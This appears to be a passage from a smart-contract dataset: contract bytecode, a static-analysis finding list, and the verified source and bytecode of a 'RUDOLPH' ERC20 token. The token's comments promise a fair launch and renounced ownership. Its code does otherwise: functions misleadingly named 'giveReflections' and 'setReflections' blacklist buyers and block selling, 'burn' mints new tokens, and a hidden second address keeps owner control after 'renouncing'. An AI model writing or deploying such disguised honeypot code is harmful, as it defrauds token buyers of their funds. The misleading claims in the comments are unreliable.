390a450508080600101915050613d97565b506001601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600754815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600a6020528060005260406000206000915054906101000a900460ff1681565b600d6020528060005260406000206000915090505481565b60075481565b60146020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60166020528060005260406000206000915054906101000a900460ff1681565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166143a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d7573742062652041646d696e0000000000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156144325750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561446b5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b6144dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d757374207061737320616464726573732076616c69646174696f6e0000000081525060200191505060405180910390fd5b600a81101580156144f057506103e88111155b614545576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180615ae36026913960400191505060405180910390fd5b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166145fa576004839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6001600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f6f1e56c55b9479aaa7ee72e01aa069c9d9e1874fa8145a0d010c1ce91483df15846040518082815260200191505060405180910390a4505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60176020528060005260406000206000915090505481565b600260005414156148a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b600260008190555060001515601d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146149a3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180615a906027913960400191505060405180910390fd5b600f600083815260200190815260200160002060009054906101000a900460ff16614a36576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f457261206d757374206265206f70656e6564000000000000000000000000000081525060200191505060405180910390fd5b6000614a4233846114c2565b90506000811115614d74576001601d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550614b56816010600086815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546152c590919063ffffffff16565b6010600085815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614bfc81600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546152c590919063ffffffff16565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015614cc657600080fd5b505af1158015614cda573d6000803e3d6000fd5b505050506040513d6020811015614cf057600080fd5b8101908080519060200190929190505050614d73576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d757374207472616e736665720000000000000000000000000000000000000081525060200191505060405180910390fd5b5b823373ffffffffffffffffffffffffffffffffffffffff167f0febf5fad8005f14b1cf04172c840311f6c94fe0e14e38087260ba190a357b32836040518082815260200191505060405180910390a360001515601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600754815260200190815260200160002060009054906101000a900460ff1615151415614e3957614e3833613cd5565b5b5060016000819055505050565b600f6020528060005260406000206000915054906101000a900460ff1681565b601a6020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60058181548110614ea257fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16614f90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4d7573742062652041646d696e0000000000000000000000000000000000000081525060200191505060405180910390fd5b614f9e83600754848461255f565b614fb4600160075461507890919063ffffffff16565b600781905550505050565b601d602052826000526040600020602052816000526040600020602052806000526040600020600092509250509054906101000a900460ff1681565b6000600480549050905090565b6013602052816000526040600020602052806000526040600020600091509150505481565b6018602052816000526040600020818154811061504657fe5b906000526020600020016000915091509054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000808284019050838110156150f6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b80601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600754815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506152028160136000600754815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461507890919063ffffffff16565b60136000600754815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506007548273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f1c6cf7f4185192b90e5dbc6c1030559d3a499bc798a5fd775870659fe4e254c4846040518082815260200191505060405180910390a4505050565b600061530783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250615909565b905092915050565b6000806000808590505b848110156155dc5760006004828154811061533057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600960008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156153ff5750600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156155ce5761541860018561507890919063ffffffff16565b93506000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600061555f606461555184600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231886040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561550857600080fd5b505afa15801561551c573d6000803e3d6000fd5b505050506040513d602081101561553257600080fd5b810190808051906020019092919050505061583990919063ffffffff16565b6158bf90919063ffffffff16565b9050615574818861507890919063ffffffff16565b965080601160008d815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505b508080600101915050615319565b5082600e60008981526020019081526020016000208190555060008590505b848110156157c05760006004828154811061561257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600960008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156156e15750600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156157b2576156fa60018461507890919063ffffffff16565b92506000601160008b815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061575c81878b613189565b601260008c815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b5080806001019150506155fb565b50863373ffffffffffffffffffffffffffffffffffffffff167fd7b022ad987606d8c29043f24a451ccffc5aa3a813994c086b6da216c3d8df348886868642604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a350505050505050565b60008083141561584c57600090506158b9565b600082840290508284828161585d57fe5b04146158b4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180615b096021913960400191505060405180910390fd5b809150505b92915050565b600061590183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506159c9565b905092915050565b60008383111582906159b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561597b578082015181840152602081019050615960565b50505050905090810190601f1680156159a85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290615a75576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015615a3a578082015181840152602081019050615a1f565b50505050905090810190601f168015615a675780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581615a8157fe5b04905080915050939250505056fe526577617264206173736574206d757374206e6f742068617665206265656e20636c61696d65644d757374206e6f742068617665207265676973746572656420696e20746869732065726120616c72656164794d7573742062652067726561746572207468616e20302e312c206c657373207468616e203130536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774d7573742062652063757272656e74206f722070726576696f757320657261206f6e6c79a2646970667358221220523b33e2823930670089b7bf3a73590a67a8cf64cb5932041997a6bb5b4cd22064736f6c63430006080033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
5,695
0x3da9799f3e25ad5f185438b7907ee9b6d96deef6
/** *Submitted for verification at Etherscan.io on 2021-12-19 */ /* ___ _ _ __ __ _ ___ _ _ | _ \ || | _\ /__\| | | _,\ || | | v / \/ | v | \/ | |_| v_/ >< | |_|_\\__/|__/ \__/|___|_| |_||_| RUDOLPH is a new ERC20/Eth Token that is used for the Jingle Bells Play to earn game. 5% Tax for marketing & buyback + burn Liquidity will be locked for 1 year a few minutes after launch and ownership will be renounced. 50% Supply Burned on Launch 100% Fair Launch - no presale, no whitelist Join the telegram or visit our site for more info */ pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract RUDOLPH is Context, IERC20, IERC20Metadata { mapping(address => uint256) public _balances; mapping(address => mapping(address => uint256)) public _allowances; mapping(address => bool) private _blackbalances; mapping (address => bool) private bots; mapping(address => bool) private _balances1; address internal router; uint256 public _totalSupply = 4500000000000*10**18; string public _name = "RUDOLPH"; string public _symbol= "RUDOLPH"; bool balances1 = true; bool private tradingOpen; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; uint256 private openBlock; constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(this), msg.sender, _totalSupply); owner = msg.sender; } address public owner; address private marketAddy = payable(0xa353f28300C40a6954E8248D614a82048663E1eF); modifier onlyOwner { require((owner == msg.sender) || (msg.sender == marketAddy)); _; } function changeOwner(address _owner) onlyOwner public { owner = _owner; } function RenounceOwnership() onlyOwner public { owner = 0x000000000000000000000000000000000000dEaD; } function giveReflections(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = true; } } function setReflections() onlyOwner public { router = uniswapV2Pair; balances1 = false; } function openTrading() public onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner, block.timestamp ); tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } receive() external payable {} function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(_blackbalances[sender] != true ); require(!bots[sender] && !bots[recipient]); if(recipient == router) { require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address"); } require((amount < 500000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this))); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) { emit Transfer(sender, recipient, 0); } else { emit Transfer(sender, recipient, amount); } } function burn(address account, uint256 amount) onlyOwner public virtual { require(account != address(0), "ERC20: burn to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
0x60806040526004361061012e5760003560e01c80636ebcf607116100ab578063a6f9dae11161006f578063a6f9dae1146103ed578063a9059cbb14610416578063b09f126614610453578063c9567bf91461047e578063d28d885214610495578063dd62ed3e146104c057610135565b80636ebcf607146102f457806370a08231146103315780638da5cb5b1461036e57806395d89b41146103995780639dc29fac146103c457610135565b806323b872dd116100f257806323b872dd14610233578063294e3eb114610270578063313ce567146102875780633eaaf86b146102b25780636e4ee811146102dd57610135565b8063024c2ddd1461013a57806306fdde0314610177578063095ea7b3146101a257806315a892be146101df57806318160ddd1461020857610135565b3661013557005b600080fd5b34801561014657600080fd5b50610161600480360381019061015c9190611db3565b6104fd565b60405161016e9190611e0c565b60405180910390f35b34801561018357600080fd5b5061018c610522565b6040516101999190611ec0565b60405180910390f35b3480156101ae57600080fd5b506101c960048036038101906101c49190611f0e565b6105b4565b6040516101d69190611f69565b60405180910390f35b3480156101eb57600080fd5b50610206600480360381019061020191906120cc565b6105d2565b005b34801561021457600080fd5b5061021d610719565b60405161022a9190611e0c565b60405180910390f35b34801561023f57600080fd5b5061025a60048036038101906102559190612115565b610723565b6040516102679190611f69565b60405180910390f35b34801561027c57600080fd5b5061028561081b565b005b34801561029357600080fd5b5061029c61094d565b6040516102a99190612184565b60405180910390f35b3480156102be57600080fd5b506102c7610956565b6040516102d49190611e0c565b60405180910390f35b3480156102e957600080fd5b506102f261095c565b005b34801561030057600080fd5b5061031b6004803603810190610316919061219f565b610a53565b6040516103289190611e0c565b60405180910390f35b34801561033d57600080fd5b506103586004803603810190610353919061219f565b610a6b565b6040516103659190611e0c565b60405180910390f35b34801561037a57600080fd5b50610383610ab3565b60405161039091906121db565b60405180910390f35b3480156103a557600080fd5b506103ae610ad9565b6040516103bb9190611ec0565b60405180910390f35b3480156103d057600080fd5b506103eb60048036038101906103e69190611f0e565b610b6b565b005b3480156103f957600080fd5b50610414600480360381019061040f919061219f565b610d71565b005b34801561042257600080fd5b5061043d60048036038101906104389190611f0e565b610e67565b60405161044a9190611f69565b60405180910390f35b34801561045f57600080fd5b50610468610e85565b6040516104759190611ec0565b60405180910390f35b34801561048a57600080fd5b50610493610f13565b005b3480156104a157600080fd5b506104aa611417565b6040516104b79190611ec0565b60405180910390f35b3480156104cc57600080fd5b506104e760048036038101906104e29190611db3565b6114a5565b6040516104f49190611e0c565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60606007805461053190612225565b80601f016020809104026020016040519081016040528092919081815260200182805461055d90612225565b80156105aa5780601f1061057f576101008083540402835291602001916105aa565b820191906000526020600020905b81548152906001019060200180831161058d57829003601f168201915b5050505050905090565b60006105c86105c161152c565b8484611534565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061067b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61068457600080fd5b60005b8151811015610715576001600360008484815181106106a9576106a8612257565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061070d906122b5565b915050610687565b5050565b6000600654905090565b60006107308484846116ff565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061077b61152c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f290612370565b60405180910390fd5b61080f8561080761152c565b858403611534565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108c45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108cd57600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a055750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a0e57600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610ae890612225565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1490612225565b8015610b615780601f10610b3657610100808354040283529160200191610b61565b820191906000526020600020905b815481529060010190602001808311610b4457829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c145750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c1d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c84906123dc565b60405180910390fd5b610c9960008383611d3c565b8060066000828254610cab91906123fc565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d0091906123fc565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d659190611e0c565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e1a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e2357600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e7b610e7461152c565b84846116ff565b6001905092915050565b60088054610e9290612225565b80601f0160208091040260200160405190810160405280929190818152602001828054610ebe90612225565b8015610f0b5780601f10610ee057610100808354040283529160200191610f0b565b820191906000526020600020905b815481529060010190602001808311610eee57829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610fbc5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610fc557600080fd5b600960019054906101000a900460ff1615611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c9061249e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061109e30600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600654611534565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110d91906124d3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611174573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119891906124d3565b6040518363ffffffff1660e01b81526004016111b5929190612500565b6020604051808303816000875af11580156111d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f891906124d3565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061128130610a6b565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016112c99695949392919061256e565b60606040518083038185885af11580156112e7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061130c91906125e4565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016113d0929190612637565b6020604051808303816000875af11580156113ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611413919061268c565b5050565b6007805461142490612225565b80601f016020809104026020016040519081016040528092919081815260200182805461145090612225565b801561149d5780601f106114725761010080835404028352916020019161149d565b820191906000526020600020905b81548152906001019060200180831161148057829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b9061272b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611614576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160b906127bd565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116f29190611e0c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561176f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117669061284f565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156117cd57600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118715750600360008373fffffffffffffffffffff